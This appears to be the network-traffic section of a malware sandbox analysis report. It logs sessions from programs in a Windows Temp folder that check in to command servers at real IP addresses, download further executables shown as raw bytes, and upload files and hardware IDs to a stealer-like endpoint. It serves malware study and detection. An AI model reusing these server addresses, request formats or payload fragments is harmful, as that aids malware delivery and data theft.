Nov 24, 2024 12:24:54.414482117 CET	1236	IN	Data Raw: e3 e6 93 0c 25 06 f8 b8 fe dc 95 e9 9c 2c 10 73 7c 7c 59 96 b9 c6 f3 9f 90 58 f5 d0 1f 07 39 c7 a2 b5 fb 29 0b dd ae c1 92 e1 9b 39 f5 16 be b2 b8 88 5d aa 36 d8 09 87 f0 98 6e e2 00 3d 18 ae ad e8 d1 fc c9 85 dd 80 c1 3b 01 f3 53 f9 b3 3b eb 42 Data Ascii: %,s\|\|YX9)9]6n=;S;BOi #BGm%gL&xl}@CSft.meXh"[u,4wXgJje+@7`l23a9]
Nov 24, 2024 12:24:54.414576054 CET	1236	IN	Data Raw: 71 ce bd e8 a3 c4 65 b3 c8 03 d3 1c ba 22 9d 00 37 96 d1 32 1f 93 b7 fc f2 a4 1b 1f a1 14 af 5c 85 c8 a5 af 57 88 69 42 bb 8b 91 ed 68 98 04 36 fa 19 4f bc a6 ef 69 32 23 15 a0 29 fb a3 05 8f a6 82 e5 26 e3 dc 01 12 37 10 d6 32 ab 8e bd 38 a1 58 Data Ascii: qe"72\WiBh6Oi2#)&728Xn9^l{a(NrF0"gX:H -phn<'-'~yFt1Iel8#a4n&/'E1\,H'x{dh(z!FWL4hQz{
Nov 24, 2024 12:24:54.414589882 CET	1236	IN	Data Raw: 0f 9b 57 21 8b 94 33 c1 78 64 fc 68 91 9a 88 3c 9d 96 77 31 a3 68 77 e1 38 83 e1 38 60 82 e5 34 c6 8c 65 40 3f 18 5c 20 3d 23 0a 99 b6 fd bd 40 b4 20 65 78 50 cd fd af 98 d0 f2 ed d4 13 36 9b ad 5a f2 38 1c e8 82 29 3f 98 81 ac f7 33 0e f0 10 03 Data Ascii: W!3xdh<w1hw88`4e@?\ =#@ exP6Z8)?3Tn5 UP5$f +5'8/0"!_a$'>dnn>n40X4;v:=D{b{dn>TdHg?2 g]8n2
Nov 24, 2024 12:24:54.414699078 CET	1236	IN	Data Raw: 1f da e9 3e ba 69 ed ee 01 22 e8 d0 a6 d4 8d e8 5b e1 92 d0 24 d8 ff 31 eb 98 51 95 23 4d b9 5f 5a 8a ca 20 cb 64 fe 96 f8 2a 8d d9 14 a5 fa 12 a1 50 6e ed 14 87 a5 07 94 d8 ff 3c ab bc d9 cc a6 22 2d 31 63 94 39 eb 92 e8 25 c1 50 24 5d 32 0b 64 Data Ascii: >i"[$1Q#M_Z d*Pn<"-1c9%P$]2d!l(${dLB6 ;"D#4?Ba9db>#{km[pXe8ch&pH'mWR>l>[&1F0{z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49897	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:25:06.554653883 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008745001&unit=246122658369
Nov 24, 2024 12:25:07.980418921 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:25:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49902	185.215.113.16	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:25:08.430552959 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 24, 2024 12:25:09.728349924 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:25:09 GMT Content-Type: application/octet-stream Content-Length: 923136 Last-Modified: Sun, 24 Nov 2024 10:26:09 GMT Connection: keep-alive ETag: "6742ff41-e1600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 39 ff 42 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 66 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL9Bg"fw@p"@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 24, 2024 12:25:09.728363037 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQ
Nov 24, 2024 12:25:09.729021072 CET	1236	IN	Data Raw: e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 Data Ascii: h$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\
Nov 24, 2024 12:25:09.729059935 CET	1236	IN	Data Raw: 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 Data Ascii: OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY9404
Nov 24, 2024 12:25:09.729069948 CET	248	IN	Data Raw: 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 Data Ascii: j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]
Nov 24, 2024 12:25:09.729857922 CET	1236	IN	Data Raw: 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 c9 e5 00 00 8a 46 30 88 47 30 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 89 11 40 89 41 0c 89 51 08 88 51 10 89 51 Data Ascii: uWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @uSV5I3WjXSG
Nov 24, 2024 12:25:09.729918957 CET	1236	IN	Data Raw: 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 00 8a 01 c3 83 39 00 0f 95 c0 c3 8b 41 08 83 78 04 00 eb f3 55 8b ec 53 56 8b 75 08 33 db 57 8a d3 8b 0e 8d Data Ascii: At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4
Nov 24, 2024 12:25:09.729929924 CET	248	IN	Data Raw: 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 00 00 8b 45 d8 8b 48 04 8b 85 58 ff ff ff 89 45 bc e9 a6 fe ff ff 83 e8 21 0f 85 23 01 00 00 8b 41 04 6a 7f Data Ascii: ;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE
Nov 24, 2024 12:25:09.730964899 CET	1236	IN	Data Raw: 00 3b fb 0f 84 31 fd ff ff e9 85 04 04 00 ff 75 e8 ff 75 f4 ff 75 e4 ff 75 e0 53 52 ff 75 f0 33 db 53 e8 86 03 00 00 85 c0 78 02 8b f3 8d 4d 84 e8 1a 02 00 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 Data Ascii: ;1uuuuSRu3SxMxl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIE
Nov 24, 2024 12:25:09.731079102 CET	1236	IN	Data Raw: 00 88 5c 24 19 88 5c 24 1a ff 15 28 c3 49 00 8d 44 24 13 50 ff 75 08 e8 c2 03 00 00 ff 15 18 c2 49 00 85 c0 0f 85 aa 00 04 00 a1 00 14 4d 00 85 c0 0f 84 b5 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 Data Ascii: \$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M
Nov 24, 2024 12:25:09.848113060 CET	1236	IN	Data Raw: 4d e0 e8 6c a0 00 00 8b 75 ac 8d 4d f0 e8 22 7a 00 00 8d 45 f0 50 8d 4d 90 e8 39 01 00 00 8b 7d f0 57 68 58 ca 49 00 e8 cf 1a 02 00 59 59 85 c0 0f 84 8b fd 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 Data Ascii: MluM"zEPM9}WhXIYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49915	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:25:14.738892078 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 34 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008746001&unit=246122658369
Nov 24, 2024 12:25:16.014175892 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:25:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49930	185.215.113.16	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:25:16.998769045 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 24, 2024 12:25:18.154092073 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:25:17 GMT Content-Type: application/octet-stream Content-Length: 2781696 Last-Modified: Sun, 24 Nov 2024 10:26:36 GMT Connection: keep-alive ETag: "6742ff5c-2a7200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 83 ec 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +`Ui` @ @.rsrc`2@.idata 8@yfiarvre :@kcckixnl L@.taggant@"P*@
Nov 24, 2024 12:25:18.154109955 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:25:18.154124975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:25:18.154141903 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:25:18.154155970 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:25:18.155905008 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:25:18.156044960 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:25:18.156059027 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:25:18.156860113 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:25:18.157010078 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:25:18.275439978 CET	1236	IN	Data Raw: e5 e9 67 ba f0 2b 2a 69 0c 4b 94 c0 2b 3a 5c a5 c2 9b 36 91 cf 06 70 be 42 40 0f 96 3c 50 a3 cb 31 15 3d 8c 4f 35 50 e8 08 2f e7 a1 18 42 50 9b cf 1b 21 90 dd ae 2b 87 16 0b 0b 0d d4 29 a1 84 c6 1c 44 5c 0b 0b 08 ed 73 38 7a 0c d4 29 a1 f6 c4 20 Data Ascii: g+*iK+:\6pB@<P1=O5P/BP!+)D\s8z) D.`%$1$d'k!&5dB,b&5c7s`X16wg,F&%Q&WZ/o7l+\G"~s.tV,"%o%MAfU?i^b-%W-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49939	34.116.198.130	80	7908	C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:25:19.856404066 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 25623 Content-Type: multipart/form-data; boundary=------------------------VMuI6VVGrpsk2S7B8E2jKm Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 56 4d 75 49 36 56 56 47 72 70 73 6b 32 53 37 42 38 45 32 6a 4b 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 46 6f 6a 69 71 61 78 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 1f 60 a9 72 a3 17 53 96 9a 99 45 28 db 54 24 51 2c 59 14 71 c6 1c 0e b7 ce 12 24 c2 70 9d 66 24 fd 24 73 fa 85 84 0c ca 1a 35 90 7d 79 a0 36 dc b1 19 b5 7f 9b 7c 7d d4 f4 9f b4 b3 a5 f8 ec 93 67 9c 0d d6 f8 a1 79 b3 f7 45 e9 3f 3e 41 d6 b8 b4 5f 28 6b af ed f1 77 1e 99 70 a0 01 fa de 09 7a b5 20 61 97 76 f9 75 e4 5c e0 1c d5 ad 2b d6 42 95 70 f1 3d 36 e0 56 5a 2f c9 58 4c 45 51 9a 66 99 e0 0a 0e a8 58 22 e2 48 e2 d3 65 45 74 b4 bb fb ab 8a ce 5e a4 f3 06 af 93 11 bb 9c 00 eb ba 60 46 77 aa df f0 bf 66 70 ee 75 57 55 a8 54 5a [TRUNCATED] Data Ascii: --------------------------VMuI6VVGrpsk2S7B8E2jKmContent-Disposition: form-data; name="file"; filename="Fojiqax.bin"Content-Type: application/octet-stream`rSE(T$Q,Yq$pf$$s5}y6\|}gyE?>A_(kwpz avu\+Bp=6VZ/XLEQfX"HeEt^`FwfpuWUTZ%\&UBI6:T0Q%<Ti9#%sV4v<F9e?QR^5CZ,\<^{y\d3pM:`zwUBvI$AzuuI$7l6I#YNPfR}^Gc;!N^-vb9ZH9a-G.;!.xg%-@{iHv@`F&#,vG(\|YuyC(![z0D2PUeha}Xz`vj.I5z2ytzj$`V5V\Y$g: +m(Es#)^ fZm~(O(Ae%"qV>il,TsW{_lB};%G@@bZQ]a`k-]a-U'h[eOAm-XZr@w"bXg6C3h*r{s!3wbBxaas%8v#;YTn=znts]'&WR/QY&oN [TRUNCATED]
Nov 24, 2024 12:25:19.977088928 CET	2472	OUT	Data Raw: 2e 7e fd d0 ed f2 cb 58 57 4b 21 89 66 b5 41 60 fe 07 83 6c ff 6b 20 94 5d 91 6d c7 72 dc fb 17 17 ab 84 d6 b6 c0 8a af 5d 48 e0 6c 28 e5 4c e9 97 3d c9 91 f5 64 bc 47 62 98 93 ce d9 0d db e7 cd 05 5d 37 a8 c2 55 5c 9b e9 6f 06 5a 0e 14 77 5a 65 Data Ascii: .~XWK!fA`lk ]mr]Hl(L=dGb]7U\oZwZeo^zSw1X$lce3?eO*Ubi]c>yHK8qA5TUSUc-B@-Ualp'H=FfL!vt'twbk`.T`uEhk84e5
Nov 24, 2024 12:25:19.977159023 CET	4944	OUT	Data Raw: bd 25 e6 b1 80 7b f6 d1 70 57 fa 71 b8 3a 57 ae 21 ed 6a b2 b0 b0 99 2b 05 92 95 0f 6a 55 0e 20 3f da 6e 6b df 55 8a 80 a5 7d bb 6c f3 34 a9 79 7c e1 83 1a 29 83 24 ac 64 be de 25 eb ae 3a e9 a8 80 d8 0c 25 3b 1a 4a df 3f db cd ff 5e e9 2b f0 ca Data Ascii: %{pWq:W!j+jU ?nkU}l4y\|)$d%:%;J?^+[YIgnm6$xxe)V4a?c Q<(Jw[\ij5Sza^WypAXuCsG3dly>xi)N0r1n,^kbsfE
Nov 24, 2024 12:25:19.977341890 CET	4944	OUT	Data Raw: cd 4c 2a 88 85 f8 21 91 20 bf 66 01 87 5c 8e 33 2d 74 8b ca f9 4c 9f ed 8a b4 0b a2 d0 3f de 79 a8 e4 0a 25 2a b4 6c 70 c0 d2 b3 bb ac 0a 48 08 5b 60 ea a4 18 74 60 50 3c f8 13 ee 1f 0f b3 d9 ca a4 8e f3 e3 a4 95 a0 30 f7 fa 87 68 64 dc a6 bc 70 Data Ascii: L! f\3-tL?y%lpH[`t`P<0hdp"-LSkZLLT\|hw}li=ivFC;*iGvX393y?P\!4V\WwM)<[l!D<^Yi.D/0ML^;9
Nov 24, 2024 12:25:19.977423906 CET	1084	OUT	Data Raw: 42 a5 ed a9 f3 e9 46 72 49 d3 05 b9 b2 d7 b2 4c 8f 49 52 cb 07 bd 7d 03 a4 0e 76 80 13 2e 47 97 9b 63 71 99 46 db 05 3e a7 6a 65 66 f0 c5 dd 11 07 e0 3c 3c 5a d9 e7 a2 29 1c d2 59 bf 34 62 c8 5e 38 ad fd 1f 77 65 ba be 84 10 b9 56 11 73 65 b4 df Data Ascii: BFrILIR}v.GcqF>jef<<Z)Y4b^8weVseiM&M;)BtbCEl3-'$Jf`Ri\|r4&B4K?~BgL u-u]'}xhhgu8Z!um9n6
Nov 24, 2024 12:25:21.408108950 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sun, 24 Nov 2024 11:25:21 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 27 x-ratelimit-reset: 1732449291 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49945	185.215.113.206	80	2848	C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:25:23.612175941 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 24, 2024 12:25:24.602104902 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:25:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 24, 2024 12:25:24.926486969 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECBAFCAAKJDHJKFIEBG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 30 45 31 33 38 36 42 33 37 31 33 36 30 34 32 39 36 32 39 37 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 41 46 43 41 41 4b 4a 44 48 4a 4b 46 49 45 42 47 2d 2d 0d 0a Data Ascii: ------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="hwid"3A0E1386B3713604296297------IECBAFCAAKJDHJKFIEBGContent-Disposition: form-data; name="build"mars------IECBAFCAAKJDHJKFIEBG--
Nov 24, 2024 12:25:25.402959108 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 11:25:25 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 7a 42 6d 59 54 63 30 5a 54 5a 6a 59 7a 67 77 4e 54 4d 7a 59 57 4e 6a 4f 54 67 32 4d 7a 5a 6b 5a 57 4a 6b 4d 7a 63 34 4d 47 45 32 4e 47 45 77 5a 44 51 78 4f 57 45 77 4e 57 5a 69 4f 57 49 30 4f 44 49 32 4e 7a 52 6a 59 57 52 69 5a 54 51 31 5a 54 41 34 4e 44 51 35 5a 44 55 35 4f 54 55 30 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MzBmYTc0ZTZjYzgwNTMzYWNjOTg2MzZkZWJkMzc4MGE2NGEwZDQxOWEwNWZiOWI0ODI2NzRjYWRiZTQ1ZTA4NDQ5ZDU5OTU0fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
